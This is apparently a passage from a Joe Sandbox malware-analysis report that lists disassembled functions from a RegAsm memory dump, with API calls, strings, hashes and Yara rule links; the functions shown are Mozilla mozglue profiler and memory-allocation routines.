API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 359b76666d468defea636f96d894e7ea50dba3d03a0463e4d8b13fdbd5ef417a
Instruction ID: 710dd9c4acdec19071bdc70c108e6e96c0ed54441d95f26d1d14c9caa7ceb831
Opcode Fuzzy Hash: 359b76666d468defea636f96d894e7ea50dba3d03a0463e4d8b13fdbd5ef417a
Instruction Fuzzy Hash: 0531B571B00254CBCF10EF69CC949AEB7B9FF85324B170599E90297790DB70AD06CB95

Function 6C556590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C54FA80: GetCurrentThreadId.KERNEL32 ref: 6C54FA8D
Part of subcall function 6C54FA80: AcquireSRWLockExclusive.KERNEL32(6C59F448), ref: 6C54FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C556727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5567C8

Part of subcall function 6C564290: memcpy.VCRUNTIME140(?,?,6C572003,6C570AD9,?,6C570AD9,00000000,?,6C570AD9,?,00000004,?,6C571A62,?,6C572003,?), ref: 6C5642C4

Strings

data, xrefs: 6C556593
vYl, xrefs: 6C55696C

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vYl
API String ID: 511789754-2113430109
Opcode ID: dcaaccdc62bad27255b427d99c819be050edb17cdc548a38c7b559f141c3d6ee
Instruction ID: 67e8f460018246bbc117e0c798df6af6cc44fd3d303438cb618f85511476021a
Opcode Fuzzy Hash: dcaaccdc62bad27255b427d99c819be050edb17cdc548a38c7b559f141c3d6ee
Instruction Fuzzy Hash: E5D19A75A05380CFD724DF25CC50B9EB7E5AFC5308F50892EE48A87B91EB30A959CB52

Function 6C54D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C51EB57,?,?,?,?,?,?,?,?,?), ref: 6C54D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C51EB57,?), ref: 6C54D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C51EB57,?), ref: 6C54D673
free.MOZGLUE(?), ref: 6C54D888

Strings

WQl, xrefs: 6C54D5D9, 6C54D63F
|Enabled, xrefs: 6C54D81E

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WQl$|Enabled
API String ID: 4142949111-2775750137
Opcode ID: baa0ebd41658ed21e320ce503f88c4a2caff366bb0fb0984d0c8b18b5617bad1
Instruction ID: a9b7b8491d0e518eb1f886250062f40f7b0afbde53f2867fb0560ed97110d5b5
Opcode Fuzzy Hash: baa0ebd41658ed21e320ce503f88c4a2caff366bb0fb0984d0c8b18b5617bad1
Instruction Fuzzy Hash: 72A1E370A04358CFDB11CF69CC907AEBBF1AF49318F14855CD889AB781D735A945CBA1

Function 6C561D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C561D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C561BE3,?,?,6C561D96,00000000), ref: 6C561D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C561BE3,?,?,6C561D96,00000000), ref: 6C561D4C
GetCurrentThreadId.KERNEL32 ref: 6C561DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C561DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C561DDA

Part of subcall function 6C561EF0: GetCurrentThreadId.KERNEL32 ref: 6C561F03
Part of subcall function 6C561EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C561DF2,00000000,00000000), ref: 6C561F0C
Part of subcall function 6C561EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C561F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C561DF4

Part of subcall function 6C52CA10: malloc.MOZGLUE(?), ref: 6C52CA26

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 305f0fdae167a9ed64d12c4c343eab28bdcc0a8d978a4f2195bbdb9211f58788
Instruction ID: 44b5b5a1e9f48f7c35d5a9dd79de9ab03e9eeb69a2f6f01dd86df616010dbc3b
Opcode Fuzzy Hash: 305f0fdae167a9ed64d12c4c343eab28bdcc0a8d978a4f2195bbdb9211f58788
Instruction Fuzzy Hash: 244168B52007009FDB10DF2AC888A66BBF9FB89314F11446EE95A87B51DB71F814CB95

Function 6C5584E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5584F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C55850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C55851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C55855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C55856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5585AC

Part of subcall function 6C557670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C55767F
Part of subcall function 6C557670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C557693
Part of subcall function 6C557670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5576A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5585B2

Part of subcall function 6C535E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C535EDB
Part of subcall function 6C535E90: memset.VCRUNTIME140(ewWl,000000E5,?), ref: 6C535F27
Part of subcall function 6C535E90: LeaveCriticalSection.KERNEL32(?), ref: 6C535FB2

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 835f610934e5b58f0395b896b244fd459a26fb98eb080fe82f6d749d16296444
Instruction ID: b3769b4017e6bba59c17c471068b66b5c0e6b10b79e0dff3d61bebcedc8b5240
Opcode Fuzzy Hash: 835f610934e5b58f0395b896b244fd459a26fb98eb080fe82f6d749d16296444
Instruction Fuzzy Hash: A721AD702016019FDB14DF25CC88A5AB7B5AF8430DF95082EE55BC3B42EB31F958CB46

Function 6C521640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C521699
VerSetConditionMask.NTDLL ref: 6C5216CB
VerSetConditionMask.NTDLL ref: 6C5216D7
VerSetConditionMask.NTDLL ref: 6C5216DE
VerSetConditionMask.NTDLL ref: 6C5216E5
VerSetConditionMask.NTDLL ref: 6C5216EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5216F9

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: c7db489bd083a6155f6f301ef1d060d3e1842b5fdd5eae31a60eb37011193624
Instruction ID: 6473c78396532d7d9efeb2fa28248592980ef21c432a31f4ced4148d4b715e2a
Opcode Fuzzy Hash: c7db489bd083a6155f6f301ef1d060d3e1842b5fdd5eae31a60eb37011193624
Instruction Fuzzy Hash: 3721F0B07402486BEB106B648C85FBF72BCEBC6704F064668F6459B5C0C778AD4486A1

Function 6C55F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C54CBE8: GetCurrentProcess.KERNEL32(?,6C5131A7), ref: 6C54CBF1
Part of subcall function 6C54CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5131A7), ref: 6C54CBFA

Part of subcall function 6C559420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C524A68), ref: 6C55945E
Part of subcall function 6C559420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C559470
Part of subcall function 6C559420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C559482
Part of subcall function 6C559420: __Init_thread_footer.LIBCMT ref: 6C55949F

GetCurrentThreadId.KERNEL32 ref: 6C55F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C55F598), ref: 6C55F621

Part of subcall function 6C5594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5594EE
Part of subcall function 6C5594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C559508

GetCurrentThreadId.KERNEL32 ref: 6C55F637
AcquireSRWLockExclusive.KERNEL32(6C59F4B8,?,?,00000000,?,6C55F598), ref: 6C55F645
ReleaseSRWLockExclusive.KERNEL32(6C59F4B8,?,?,00000000,?,6C55F598), ref: 6C55F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C55F62A

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 5ae81444cf70c4ffe661a6199df8296173d624e59125650f4aa7d5d9c935417f
Instruction ID: f6ef60bd95c744539150247f8f9c77cf664e2571aaf24e48e3a91df289d37a7b
Opcode Fuzzy Hash: 5ae81444cf70c4ffe661a6199df8296173d624e59125650f4aa7d5d9c935417f
Instruction Fuzzy Hash: 2811E371201244EBDB10AF59CC489A5B77DFFC6358B920196FA0683F41CB32AC21CBA5

Function 6C5776C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5776F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C577705

Part of subcall function 6C52CA10: malloc.MOZGLUE(?), ref: 6C52CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C577717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C57778F,00000000,00000000,00000000,00000000), ref: 6C577731
free.MOZGLUE(00000000), ref: 6C577760

Strings

}>Ul, xrefs: 6C5776C4

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Ul
API String ID: 2538299546-355265445
Opcode ID: 9e8587e022368ef8f4bcb51527fcb960c50066b1861a2e820e73d715cc9faff6
Instruction ID: ec36ad0f9feeaf09357187b6f8391eda0b69dbd31f06dbd70682cad16500aed2
Opcode Fuzzy Hash: 9e8587e022368ef8f4bcb51527fcb960c50066b1861a2e820e73d715cc9faff6
Instruction Fuzzy Hash: 4411B6B1901315ABEB20AF769C44B6B7EE8EF45354F044529F848E7300E7749C4087F2

Function 6C520EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C54AB89: EnterCriticalSection.KERNEL32(6C59E370,?,?,?,6C5134DE,6C59F6CC,?,?,?,?,?,?,?,6C513284), ref: 6C54AB94
Part of subcall function 6C54AB89: LeaveCriticalSection.KERNEL32(6C59E370,?,6C5134DE,6C59F6CC,?,?,?,?,?,?,?,6C513284,?,?,6C5356F6), ref: 6C54ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C54D9F0,00000000), ref: 6C520F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C520F3C
__Init_thread_footer.LIBCMT ref: 6C520F50
FreeLibrary.KERNEL32(?,6C54D9F0,00000000), ref: 6C520F86

Strings

CoInitializeEx, xrefs: 6C520F36
combase.dll, xrefs: 6C520F18

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: eda91eda06d110ddc447fc0e7ea7f7072119b7227f0d72ad468cc98167e3ab28
Instruction ID: acaf62b47100caea8c007cde678ba2099b15e221171a12baf21e6316d540ce60
Opcode Fuzzy Hash: eda91eda06d110ddc447fc0e7ea7f7072119b7227f0d72ad468cc98167e3ab28
Instruction Fuzzy Hash: 1211C2743422C0DBDF20DF55CD18A9E37B8FB8A325F1343AAF90592B82D734A805CA59

Function 6C55F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C559420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C524A68), ref: 6C55945E
Part of subcall function 6C559420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C559470
Part of subcall function 6C559420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C559482
Part of subcall function 6C559420: __Init_thread_footer.LIBCMT ref: 6C55949F

GetCurrentThreadId.KERNEL32 ref: 6C55F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C55F561

Part of subcall function 6C5594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5594EE
Part of subcall function 6C5594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C559508

GetCurrentThreadId.KERNEL32 ref: 6C55F577
AcquireSRWLockExclusive.KERNEL32(6C59F4B8), ref: 6C55F585
ReleaseSRWLockExclusive.KERNEL32(6C59F4B8), ref: 6C55F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C55F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C55F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C55F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C55F3A8

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 359f9fb4a0284e185dd6c04d60779c196d4f388a5418a5b23aa4ad6abbde7b2a
Instruction ID: d0c777d62fae56a806ff709ad2c736a19a1be67919604bd9c1a964473ca9f6c6
Opcode Fuzzy Hash: 359f9fb4a0284e185dd6c04d60779c196d4f388a5418a5b23aa4ad6abbde7b2a
Instruction Fuzzy Hash: 20F0B475200284DBEA10BF649C48A6A77BDFBC629DF030192FA0A83702DB355C01C769

Function 6C520E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C520DF8), ref: 6C520E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C520EA1
__Init_thread_footer.LIBCMT ref: 6C520EB5
FreeLibrary.KERNEL32 ref: 6C520EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C520E9B
kernel32.dll, xrefs: 6C520E7D

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 85fb32b076433d9a9e20d2e3c795e0732027d9c5a2fb7cfc75c2c0bd99d2786a
Instruction ID: 3dff539ce78c252b1e1a742fdbbe51873317933512849a505548fb844450c489
Opcode Fuzzy Hash: 85fb32b076433d9a9e20d2e3c795e0732027d9c5a2fb7cfc75c2c0bd99d2786a
Instruction Fuzzy Hash: 5C01FB747052C1DBEF109FA8DD64A4637F5F787315F1307AAE90182B80D778A8588A99

Function 6C55F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C559420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C524A68), ref: 6C55945E
Part of subcall function 6C559420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C559470
Part of subcall function 6C559420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C559482
Part of subcall function 6C559420: __Init_thread_footer.LIBCMT ref: 6C55949F

GetCurrentThreadId.KERNEL32 ref: 6C55F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C55F598), ref: 6C55F621

Part of subcall function 6C5594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5594EE
Part of subcall function 6C5594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C559508

GetCurrentThreadId.KERNEL32 ref: 6C55F637
AcquireSRWLockExclusive.KERNEL32(6C59F4B8,?,?,00000000,?,6C55F598), ref: 6C55F645
ReleaseSRWLockExclusive.KERNEL32(6C59F4B8,?,?,00000000,?,6C55F598), ref: 6C55F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C55F62A

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 30348bf583fe5d0808f12412a28443d6bb540a6a24cb790ca673c30d57837c0d
Instruction ID: d6598f7bd7eb8678cefcac62edc3eec36fa5085140f8c84cd9bae41221645b5d
Opcode Fuzzy Hash: 30348bf583fe5d0808f12412a28443d6bb540a6a24cb790ca673c30d57837c0d
Instruction Fuzzy Hash: F1F0B475200280EBEA107F648C48A6A777DFBC629DF430192FA0A83741CB365C01C769

Function 6C5505F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C54CFAE,?,?,?,6C5131A7), ref: 6C5505FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C54CFAE,?,?,?,6C5131A7), ref: 6C550616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5131A7), ref: 6C55061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5131A7), ref: 6C550627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C55061B, 6C550625
<jemalloc>, xrefs: 6C5505FA, 6C55060F

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 25bb1ba9ffe1b33db112e9905aed077977e90b050b52903d6bc7c0bf4fc0b8f8
Instruction ID: 897f9d50326c2c2e93fe3cb9d1b0c3822b0cdc56ee780586515606ed4732b7a8
Opcode Fuzzy Hash: 25bb1ba9ffe1b33db112e9905aed077977e90b050b52903d6bc7c0bf4fc0b8f8
Instruction Fuzzy Hash: BEE08CE2A0202037F514226ABC86DBB761CDBC6134F090139FE0D82301EA4ABD1A51F6

Function 6C5205F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c956fd86fc9f13789b4f51cc400799790fdbed0301676da5cc9df25b782d31a2
Instruction ID: 76236e3a190edb72f6326ef148bfd4b02850995b062045e5aad3122ec6e764f4
Opcode Fuzzy Hash: c956fd86fc9f13789b4f51cc400799790fdbed0301676da5cc9df25b782d31a2
Instruction Fuzzy Hash: 20A15970A01645CFDB24CF29C994A9AFBF1FF88304F5586AED48A97B40E734A945CF90

Function 6C5714A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5714C5
